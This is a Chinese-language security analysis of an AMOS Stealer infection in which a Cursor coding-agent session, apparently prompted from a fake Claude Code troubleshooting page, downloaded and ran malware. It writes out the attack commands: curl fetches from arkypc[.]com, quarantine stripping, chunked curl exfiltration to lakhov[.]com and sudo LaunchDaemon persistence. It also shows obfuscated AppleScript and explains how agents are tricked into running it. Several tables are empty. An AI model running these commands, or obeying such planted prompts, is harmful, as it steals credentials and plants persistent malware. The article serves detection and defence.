AI Coding Agent 的新型攻击面：AMOS Stealer 通过 Cursor 会话投递实录

作者：钳岳星君 来源：Field Effect 事件披露 blog（fieldeffect.com/blog/field-effect-detects-amos-stealer-delivered-via-cursor-ai-agent-session，2026-04-24 发布，2026-06-20 抓取） 版本：v5 — 对源逐条复核：修正 T1037.001 名称与 M1037/M1038 描述、补齐持久化链（LaunchDaemon plist 路径与第二阶段下载源）、删除无来源数字、补 IOC 清单与打包分片命令

为什么值得所有写代码的 AI Agent 用户读

读完本文，你应该能：

• 复盘 AMOS Stealer 通过 Cursor agent 投递的完整攻击链（10 个步骤，< 2 分钟）
• 解释为什么 AI Coding Agent 是新的攻击面（结构性问题，与传统 EDR 检测假设冲突）
• 理解 charcode 混淆技术如何让恶意代码"看起来像 agent 的正常脚本"
• 映射本次攻击到 MITRE ATT&CK 框架的 19 个 TTP
• 为你的团队制定 AI Coding Agent 安全配置和审计策略

目录

• §1 完整攻击链：从 SEO 诱导到 2 分钟数据外泄
• §2 为什么 AI Coding Agent 是新的攻击面
• §3 charcode 混淆：恶意代码如何"看起来像 agent 的正常脚本"
• §4 MITRE ATT&CK 完整映射：19 个 TTP 的攻击工程化
• §5 Field Effect 的检测策略：行为监测能抓到什么
• §6 给中国 AI Coding Agent 用户的 3 条可执行启示
• 练习
• 进阶路径
• 常见问题 FAQ

§1 完整攻击链：从 SEO 诱导到 2 分钟数据外泄

Step 1 — 投递：受害者通过搜索引擎找到一篇伪装成 Claude Code troubleshooting 指南的网页。这是 ClickFix 风格的 SEO poisoning——AMOS 家族长期借助这类"出问题了？照着做修复一下"的诱饵分发恶意负载，这次只是把诱饵换成了"AI 编程助手出问题了怎么办"。

Step 2 — 社工：网页引导用户在 Cursor 里输入一条 prompt，让 agent"修复"问题。源文明确指出，出事的环境是 Cursor 里运行的 Claude Code 会话——agent 收到 prompt 后开始执行。

Step 3 — 下载：Cursor agent 主动执行 curl，从 arkypc[.]com/curl/<SHA256_Hash> 和 arkypc[.]com/n8n/update 下载文件到 /tmp/helper。n8n/update 的路径名刻意伪装成 AI workflow 工具更新。

curl -fkLsS https://arkypc[.]com/curl/<SHA256_Hash>
curl -o /tmp/helper https://arkypc[.]com/n8n/update

Step 4 — 准备执行：

xattr -c /tmp/helper    # 清掉 quarantine 属性（macOS Gatekeeper 标记）
chmod +x /tmp/helper    # 加执行权限
/tmp/helper             # 直接跑

xattr -c 这一步是 macOS 攻击的经典操作——Apple Silicon 上从浏览器下载的文件会被自动打上 com.apple.quarantine 标记，Gatekeeper 会拦截执行。Cursor agent 主动清掉这个标记，等于绕过了 macOS 的核心防线之一。

Step 5 — 投递 AppleScript：/tmp/helper 紧接着投递了两个串行的 AppleScript 脚本。第一个做反沙箱检测——调用 system_profiler SPMemoryDataType 和 system_profiler SPHardwareDataType，把结果跟已知 hypervisor 和虚拟机字符串（QEMU、VMware、KVM，以及 Virtual Machine、一批 Apple 硬件标识等）比对，命中就 exit 100 直接中断，不继续跑 payload。第二个才是完整的 AMOS payload。

Step 6 — 诱骗用户授权：payload 弹出对话框要求用户输入本地账户密码。输入后用 dscl . authonly <username> <password> 本地校验（macOS 目录服务的认证命令，返回空串即密码正确）——用户输对一次，攻击者就拿到了可用于 sudo 提权的明文凭据。这是 macOS 上获得"管理员权限"的关键诱骗。

Step 7 — 收集数据：AMOS 在受害机器上读取（源文公开的部分采集命令）：

• macOS Keychain（~/Library/Keychains/login.keychain-db），并用 security find-generic-password 直接取出 Chrome 保存密码所依赖的 Safe Storage 密钥
• 浏览器保存的密码、cookie、历史、表单与本地存储（Chrome / Firefox 的 Login Data、Cookies、logins.json、cookies.sqlite、key4.db 等）
• /Users/*/.ssh/ 下的 SSH 私钥、公钥、known_hosts 与 config
• 加密钱包：Binance、TonKeeper 等应用，另用一份较长的硬编码 Chromium 扩展 ID 清单匹配浏览器钱包扩展
• 云与工具凭据：~/.aws/、~/.config/gcloud/、~/.docker/config.json、FileZilla 站点、Telegram Desktop 的 tdata（含 key_datas），连 shell 历史（.zsh_history）也不放过
• 系统级 credential store

Step 8 — 打包 + 分片外传：数据先经 ditto 打包、split 切片，再用 curl 逐片 POST 到 lakhov[.]com：

ditto -c -k --sequesterRsrc /tmp/ /tmp/out.zip
split -b 26214400 /tmp/out.zip /tmp/chunk_

curl --connect-timeout 120 --max-time 300 -X POST \
  -H user: <data> -H BuildID: <data> -H cl: 0 -H cn: 0 \
  -H X-Chunk-ID: <data> -H X-Chunk-Part: 0 -H X-Chunk-Total: 2 \
  -F file=@/tmp/chunk_aa https://lakhov[.]com/contact

每片 26214400 字节即 25MB；源文记录了两个分片（chunk_aa、chunk_ab），域名解析失败时回退直连 IP 92.246.136[.]14。外传校验完成后，本地产物会被删除。

Step 9 — 持久化：“smash and grab” 得手后，攻击者还补了一步长期驻留：从 ouilov[.]com/zxc/kito 下载 implant，存到 /Users/<username>/Library/Application Support/.com.apple.accountsd/AccountsHelper，再用拿到的 sudo 权限把启动项写入系统级目录并加载：

sudo -S cp /tmp/starter /Library/LaunchDaemons/com.apple.accountsd.helper.plist
sudo -S chown root:wheel /Library/LaunchDaemons/com.apple.accountsd.helper.plist
sudo -S launchctl load /Library/LaunchDaemons/com.apple.accountsd.helper.plist

这条链上每一环都在伪装：implant 文件落在 .com.apple.accountsd 这个 Apple 自家服务命名空间下，启动项命名为 com.apple.accountsd.helper.plist，普通用户和管理员肉眼都很难分辨。

Step 10 — 总耗时 < 2 分钟。从第一次 curl 到数据上传完成，整个攻击在 2 分钟内闭环。这比人类操作员注意到异常的速度还快。

1.1 攻击链全景

[搜索引擎 SEO 诱导] → [ClickFix 风格"AI 编程助手 troubleshooting"]
         ↓
[用户在 Cursor 输入 prompt: "帮我修一下"]
         ↓
[Cursor agent: 听话执行]
         ↓
┌─────────────────────────────────────────┐
│ curl https://arkypc[.]com/curl/<HASH>  │  ← Step 3
│ curl -o /tmp/helper arkypc[.]com/...    │
└─────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────┐
│ xattr -c /tmp/helper                     │  ← 绕 Gatekeeper
│ chmod +x /tmp/helper                     │
│ /tmp/helper                              │
└─────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────┐
│ AppleScript #1: sandbox escape check    │  ← T1082/T1016
│ AppleScript #2: AMOS payload            │  ← charcode 混淆
└─────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────┐
│ 弹"请输入系统密码"对话框 (T1056.002)    │
│ 用户输入密码 → sudo 提权 (T1556.001)    │
└─────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────┐
│ 读 Keychain / 浏览器 / SSH / 钱包       │  ← T1555.003
└─────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────┐
│ /tmp/out.zip → ditto + split 25MB       │  ← T1560.001
│ curl POST lakhov[.]com / 92.246.136[.]14│  ← T1020/T1105
└─────────────────────────────────────────┘
         ↓
┌─────────────────────────────────────────┐
│ implant: AccountsHelper (ouilov[.]com)  │  ← T1543.004/T1036.005
│ plist: /Library/LaunchDaemons/          │
│        com.apple.accountsd.helper.plist │
└─────────────────────────────────────────┘
         ↓
[全程 < 2 分钟]

§2 为什么 AI Coding Agent 是新的攻击面

Field Effect 的结论点出了一个关键事实：

“all malicious commands were directly executed by the Cursor agent… downloading and executing scripts, rapid file access, and other observed malicious activity are consistent with typical agentic coding and AI agent session behavior.”

问题在于：agent 在正常工作时的样子，就是这次攻击的样子。这个问题跨越所有给 agent 较高系统权限的 AI Coding 工具，与 Cursor 的具体实现无关。

传统 EDR 检测基于一个隐含假设：用户主动点击 = 用户授权 = 用户应该知情。AI Coding agent 的工作流本身就是主动下载、跑命令、读写文件——这三件事在 agent 视角下是"我在帮你干活"，在 EDR 视角下却是经典的 malware 行为。两个视角无法调和，这是结构性矛盾的根源。

雪上加霜的是：attack timeline 里agent 持续运行，不断插入合法的 download 和 file access 命令到时间线里。即使回看日志，“可疑行为"也被"正常行为"稀释到几乎无法区分。攻击者利用的正是 agent 工作流的高密度 IO 特征——合法命令越多，单条恶意命令越难浮出来。

这次攻击的三个结构性放大器：

1. Cursor 的 shell 执行权——agent 默认就能跑任意 curl / chmod / sh，没有任何 sandbox 隔离
2. macOS 的密码弹窗——任何 script 都能弹一个"请输入密码"对话框，OS 直接帮你把密码交给对方（这是 AppleScript 的合法能力）
3. agent 自身的诚实倾向——大多数 coding agent 收到"修一下这个"的 prompt 时，倾向于"听话"执行，缺少"我先确认一下"的反向默认值。攻击者利用的就是这一点

这是 AI Coding agent 这个类目的 attack surface，与 Cursor 的实现无关。任何把 system shell 暴露给 LLM 的工具——Aider、Cline、Roo Code、Continue、Devin——都有相同的结构性问题。差异只在沙箱边界、命令白名单、用户确认机制这三个地方做得多严。

§3 charcode 混淆：恶意代码如何"看起来像 agent 的正常脚本”

Field Effect 公开了攻击者用的混淆技术。这段 AppleScript 是真实样本的核心反混淆前的样子：

on cqfjdxlx(jsordsqub, eqhvrkhfxwif, tirvglkgcf)
    try
        set mjhuumxw192 to (gtkopxos({130, 260, 211, 208, 227, 265, 186}, {83, 195, 99, 96, 119, 160, 87}))
        set mjhuumxw193 to (qsgasyjiwf({72, 185, 240, 61, 164, 78, 87}, {25, -69, -135, 50, -54, 37, -40}))
        ...
        set aovkqmov to (mjhuumxw192 & mjhuumxw193 & mjhuumxw194 & mjhuumxw195 & mjhuumxw196)
        ...
        do shell script mjhuumxw198 & quoted form of mfnnetgczcs

核心机制：整数列表 + 偏移还原。攻击者准备了三个解码函数：第一个从编码值里减去 key 偏移（带 mod 9999 的计数器），第二个反向做加法，第三个减去基础偏移加 key 偏移。每段被编码的字符串配一组整数列表，运行时逐字符还原。这种 string obfuscation 套路在很多 APT 组织的样本里都出现过，这里套了 AppleScript 的皮。有个耐人寻味的细节：持久化脚本里的变量 botDir 忘了混淆——工整和疏漏并存，是真实样本的常态。

这层混淆能有效绕过 agent 的代码审查：当你让 Cursor 看一眼这个脚本"安不安全"，它看到的是一堆无意义的数学运算 + 通用函数名。如果你让 Cursor “执行这个脚本”——它会执行 do shell script 行，那才是 payload。混淆之所以有效，是因为 agent 的代码审查能力依赖语义理解，而 charcode 偏移在语义层面不可读——agent 无法从 {130, 260, 211, 208} 反推出这是哪个字符串，自然也无法判断这段脚本会调用什么系统资源。

防御混淆要靠行为侧，靠"agent 自己看代码"这条路走不通。这次 attack 的关键 IO 行为（curl 直奔陌生域名 + xattr -c 清隔离标记 + AppleScript 读 Keychain）才是真正可检测的信号。

§4 MITRE ATT&CK 完整映射：19 个 TTP 的攻击工程化

Field Effect 把这次攻击完整映射到了 MITRE ATT&CK 框架。它给的不只是 IOC（indicators of compromise），而是按 ATT&CK 战术（tactic）组织的检测策略。下面把 19 个 TTP 按战术分组整理：

Initial Access + Execution（初始访问 + 执行）

Persistence + Defense Evasion（持久化 + 防御逃逸）

Credential Access（凭据访问）

Command and Control（命令控制）

Collection + Exfiltration（收集 + 外传）

Discovery（侦察）

Response（响应）

这份映射说明 AMOS 这次走完了完整的 Cyber Kill Chain。从社工投递到持久化，每个阶段都对应 ATT&CK 标准。任何一个检测点失效，下一个就会接上——这是工程化 malware 的特征，区别于单点漏洞利用。

对防御者的实操建议：

• 单独看 T1059.002 / T1059.004 / T1204.002 任一项都没用——必须做关联分析（curl + xattr + chmod 在 30 秒内 + 来自不常见 domain）
• 重点监控 T1543.004（LaunchDaemon 变更）+ T1036.005（伪装命名）+ T1056.002（GUI 弹窗要密码）这三个最不可能在合法 agent 行为里出现的 TTP

4.1 源文公开的 IOC 清单

以下是 Field Effect 披露的失陷指标，供自查与检测规则参考：

MD5/SHA1 等其余指标见源文 IOC 章节；检测规则建议以域名 + 文件路径 + plist 名称为核心，哈希作辅助。

§5 Field Effect 的检测策略：行为监测能抓到什么

Field Effect 的检测框架核心是**“behavioral monitoring”——IOC 黑名单永远追不上 malware 变种，但恶意行为的模式**更稳定。变种可以换域名、换 hash、换路径，但"弹密码对话框 + 读 Keychain + 写 LaunchDaemon"这套组合很难换，因为换了就完成不了攻击目标。

5.1 Cursor agent 正常行为 vs AMOS 攻击行为对比

先看清正常 agent 和攻击行为的边界，检测规则才立得住：

上面 10 行中，第 3、5、6、7、8、10 行这 6 个是正常 agent 几乎永远不会做、但 AMOS 必须做的行为。这 6 个就是检测规则的最低必要集——少一个都可能漏掉，加起来就是 Field Effect 那次能抓住的核心信号。

5.2 核心检测规则（4 类关键行为）

1. AppleScript 弹密码对话框——正常 agent 不会主动弹"请输入你的系统密码"，这条规则几乎不会误报。
2. untrusted/scripting software 访问浏览器数据——~/Library/Application Support/Google/Chrome/Default/Login Data 被非浏览器进程读取，必须告警。
3. LaunchDaemon/LaunchAgent 的 .plist 文件被非系统进程修改——任何写 /Library/LaunchDaemons/ 或 ~/Library/LaunchAgents/ 的进程都该被审计。
4. sh -c echo '<password>' | sudo -S <command>——明文管道密码到 sudo 是 100% 可疑行为，合法系统从不这么干。

Field Effect 推荐的审计命令清单：

“we recommend auditing use of sensitive commands such as curl and chmod”

把所有 curl + chmod + xattr + osascript + sudo 命令打到 SIEM，加异常检测。正常开发的 curl 通常访问 github / pypi / 公司内网，直奔陌生域名的 curl 在日常流量里是显眼的少数。

5.3 对中国企业的实操建议

• 单一 EDR 不够。AppleScript 弹窗 + curl 异常 + LaunchDaemon 变更需要 3 套独立检测串起来
• 行为监测的关键在时间窗口内的关联，单条 curl 不可疑，curl + xattr + chmod + sudo 在 30 秒内就极度可疑
• 员工 Mac 设备的检测盲区：很多企业只给 Windows 装 EDR，macOS 端点的监控覆盖率普遍偏低——AMOS 这类 malware 正好落在盲区里

§6 给中国 AI Coding Agent 用户的 3 条可执行启示

启示一：把 AI agent 当成"会主动执行命令的初级工程师"对待

AI Coding agent 收到 prompt 后的默认行为是听话执行，除非你在 system prompt 里明确告诉它"任何 curl 都需要先确认"。它没有安全意识，只有执行倾向——这一点要在配置里反向约束。

立刻可做的 3 个配置：

• Cursor：开启终端命令沙箱（sandboxed terminal），并保持命令逐条确认，不要全局放行
• Claude Code：用 --permission-mode acceptEdits 把自动放行限制在文件编辑，避免 --dangerously-skip-permissions 全开
• Aider：加 --no-auto-commits，别让 agent 自动提交 git；Cline：在 Auto-approve 设置里不放行终端命令

启示二：区分"agent 行为"和"用户行为"的审计入口

传统 EDR 把"用户执行 X 命令"和"agent 执行 X 命令"混在一起——这是这次 AMOS 攻击难检测的核心原因之一。企业内部应该：

• 给所有 AI Coding agent 单独留审计入口：Claude Code 的会话日志在 ~/.claude/projects/<项目目录>/ 下的 jsonl 文件，Cursor 的会话数据存于其 SQLite 数据库，都值得定期备份
• 定期 grep curl / chmod / xattr / osascript / sudo 这 5 个高危命令
• 把"agent 跑了不常见 domain"作为 SIEM 规则

启示三：不要忽视 macOS Keychain 失陷的后果

这次 AMOS 拿走的不止 SSH 私钥和浏览器密码——它拿到的是macOS Keychain 的读取权限。Keychain 里有：

• 所有 Apple ID + iCloud token
• 公司 Wi-Fi 密码
• VPN 凭据
• 开发者证书（Apple Developer / 代码签名证书）
• 数据库连接字符串

这些失陷后的恢复成本远高于"改密码"：

• Apple Developer 证书被吊销 = 整个 team 的 App Store / TestFlight 发布停止
• 代码签名证书 = 你公司所有 macOS 软件失去信任
• VPN 凭据 = 内网横向移动入口

立刻可做的 3 件事：

• 把 Apple Developer / 代码签名证书从 Keychain 移到专用硬件 token（YubiKey 等）
• 启用 Apple ID 的硬件双因子（不要用短信）
• 公司内部 macOS 设备禁用 Keychain 共享（System Settings → Passwords → Password Options → uncheck “Allow AutoFill”）

采用顺序建议

按优先级从高到低：

1. 第一天：完成启示一的 3 个配置（10 分钟内可做完），关闭 agent 的全开权限
2. 第一周：完成启示三的 3 件事，把高价值凭据从 Keychain 迁出
3. 第一个月：完成启示二的审计入口搭建，至少把 Claude Code 的会话日志接到 SIEM

这个顺序的逻辑是：先堵住"agent 主动跑恶意命令"的入口，再处理"凭据已经失陷"的最坏情况，最后补上"事后能查到"的审计能力。前两步是预防，第三步是兜底。

自测题

完成以下题目，测试你对本文关键概念的理解：

题目 1：AMOS Stealer 攻击链的关键时间特征是什么？

题目 2：为什么 AI Coding Agent 是新的攻击面？

题目 3：charcode 混淆技术为什么能绕过 Agent 的代码审查？

题目 4：Field Effect 检测策略的核心思想是什么？

题目 5：给中国 AI Coding Agent 用户的 3 条可执行启示是什么？

练习

建议完成以下三个练习：

练习 1：审计你的 AI Coding Agent 配置

检查你当前使用的 AI Coding Agent（Cursor、Claude Code、Aider 等）的安全配置：

1. 检查 agent 是否有全开执行权限
2. 检查是否配置了 sandbox 或 --permission-mode
3. 检查 agent 的会话日志位置（如 Claude Code 的 ~/.claude/projects/）并确认可留存
4. 检查 Keychain 中是否存储了高价值凭据

目标：理解当前配置的安全风险。

练习 2：模拟一次攻击并检测

在隔离的虚拟机环境中，模拟本文描述的攻击链：

1. 创建一个伪造的 “Claude Code troubleshooting” 网页
2. 诱导 Cursor agent 执行 curl 下载恶意脚本
3. 使用 EDR 或系统日志工具检测异常行为
4. 分析哪些行为最容易被检测到

目标：理解攻击链的每个步骤和检测方法。

练习 3：制定团队安全配置规范

为你的团队制定 AI Coding Agent 安全配置规范：

1. 定义 agent 权限边界（允许/禁止的命令列表）
2. 定义审计日志要求和保留期限
3. 定义凭据管理规范（禁止存储在 Keychain 中的凭据类型）
4. 定义安全事件响应流程

目标：把本文的知识应用到实际工作场景。

进阶路径

按以下三个阶段继续深入：

阶段 1：深入理解 AI Agent 攻击面（1-2 周）

• 研究其他 AI Agent 攻击案例（如 prompt injection、data poisoning）
• 理解 LLM 生成代码的安全风险（OWASP Top 10 for LLM）
• 学习如何对 Agent 行为做沙箱隔离和权限最小化
• 参考资源：OWASP Top 10 for LLM

阶段 2：构建检测和响应能力（2-4 周）

• 集成 Agent 日志到 SIEM（如 Splunk、Elasticsecurity）
• 配置异常行为检测规则（如大量 curl 命令、未知域名访问）
• 建立安全事件响应流程（检测到恶意行为后如何处置）
• 参考资源：MITRE ATT&CK 框架

阶段 3：设计和审查 AI 安全架构（4-8 周）

• 学习 AI 系统的威胁建模方法
• 设计多层级防御策略（预防性控制、检测性控制、响应性控制）
• 参与或主导 AI 系统的安全架构审查
• 参考资源：NIST AI Risk Management Framework

常见问题 FAQ

Q1：我不用 Cursor，用其他 AI Coding Agent，风险一样吗？

一样。本文描述的攻击面是所有 AI Coding Agent 的共性问题，不只是 Cursor。任何把 system shell 暴露给 LLM 的工具——Aider、Cline、Roo Code、Continue、Devin——都有相同的结构性问题。差异只在沙箱边界、命令白名单、用户确认机制这三个地方做得多严。

Q2：开启 sandbox 模式就能完全防御吗？

不能。Sandbox 能阻止 agent 访问系统资源和执行危险命令，但：1）sandbox 配置可能不完整；2）agent 仍可能通过合法命令泄露信息（如读取敏感文件后发送到外部）；3）高级攻击可能通过 sandbox 逃逸漏洞绕过隔离。Sandbox 是重要防护，但不是银弹。

Q3：如何平衡安全性和开发效率？

按风险分层：

1. 低风险任务（代码格式化、文档生成）：开启全开权限，提升效率
2. 中风险任务（依赖安装、配置文件修改）：开启 sandbox 模式，要求确认
3. 高风险任务（部署脚本、数据库操作）：手动执行，不让 agent 自动运行

核心是按任务风险动态调整，而不是一刀切。

Q4：企业环境应该如何部署 AI Coding Agent？

企业环境建议：

1. 集中管理 agent 配置：通过 MDM 或配置文件统一推送安全配置
2. 网络层防护：在防火墙或代理层阻止 agent 访问不常见域名
3. 审计和监控：集中收集所有开发机的 agent 日志，做异常检测
4. 定期安全培训：培训开发者识别社会工程攻击和恶意 prompt

Q5：如果我已经使用了 AI Coding Agent，怎么检查是否被入侵？

立即执行以下检查：

1. 检查 agent 的会话记录（如 Claude Code 的 ~/.claude/projects/、Cursor 的会话数据库）中是否有异常的命令执行记录
2. 检查系统进程和网络连接，看是否有未知的后台程序
3. 检查 Keychain 中是否有被导出的凭据
4. 更改所有存储在 Keychain 中的密码、API key、SSH 私钥
5. 如果使用 macOS，检查 ~/Library/Application Support/ 下是否有异常隐藏目录，以及 /Library/LaunchDaemons/ 里是否有可疑 plist

资料口径说明

本文基于 Field Effect 事件披露 blog（field-effect-detects-amos-stealer-delivered-via-cursor-ai-agent-session，2026-04-24 发布，2026-06-20 抓取）撰写。需要说明的边界：

1. 信息来源与时效性：本文核心攻击链、ATT&CK 映射、检测策略与 IOC 均来自 Field Effect 的公开披露，检测发生于 2026-04-23。部分技术细节（如 charcode 偏移的具体整数列表）无法独立验证。本文撰写时（2026-06），Cursor、Claude Code 等 AI Coding Agent 的安全配置仍在快速迭代，请以各工具最新文档为准。
2. 攻击样本无法独立复现：本文描述的攻击链基于 Field Effect 的 MDR 检测记录，非作者独立复现。建议在隔离虚拟机环境中参考本文做攻击模拟，不要在生产环境尝试。
3. MITRE ATT&CK 映射的局限性：本文的 ATT&CK 映射基于 Field Effect 的公开分析，非 MITRE 官方评估——其中个别技术的归属（如 T1003.003 用于 macOS 凭据收集）沿袭源文口径，与 MITRE 官方定义存在出入。实际检测规则需要结合具体 EDR/XDR 产品能力调整。
4. 防御建议的适用边界：本文给的 3 条可执行启示（sandbox 配置、审计日志、Keychain 迁移）基于工程经验，但具体配置路径会因 AI Coding Agent 版本、操作系统版本、MDM 策略而变化。企业环境请结合自身 IT 策略调整。
5. 平台覆盖范围：本文聚焦 macOS 平台（AppleScript、Keychain、Gatekeeper），Linux 和 Windows 上的 AI Coding Agent 攻击面未覆盖。Linux 上的等价攻击可能通过 .bashrc 注入、cron job 持久化、Wine 等兼容层执行恶意程序等方式实现，不在本文讨论范围。
6. 更新记录：本文 v1（2026-06-20）为初稿；v2（2026-06-28）添加学习目标、目录、自测题、练习、进阶路径、FAQ；v3（2026-07-01）添加资料口径说明；v4 校正 ATT&CK TTP 计数为 19，补充反沙箱检测、密码校验与采集目标等源文细节；v5（2026-09-26）对照源文逐条复核：修正 T1037.001 与 M1037/M1038 描述、补齐持久化链与 IOC 清单、删除无来源数字、更正工具配置参数。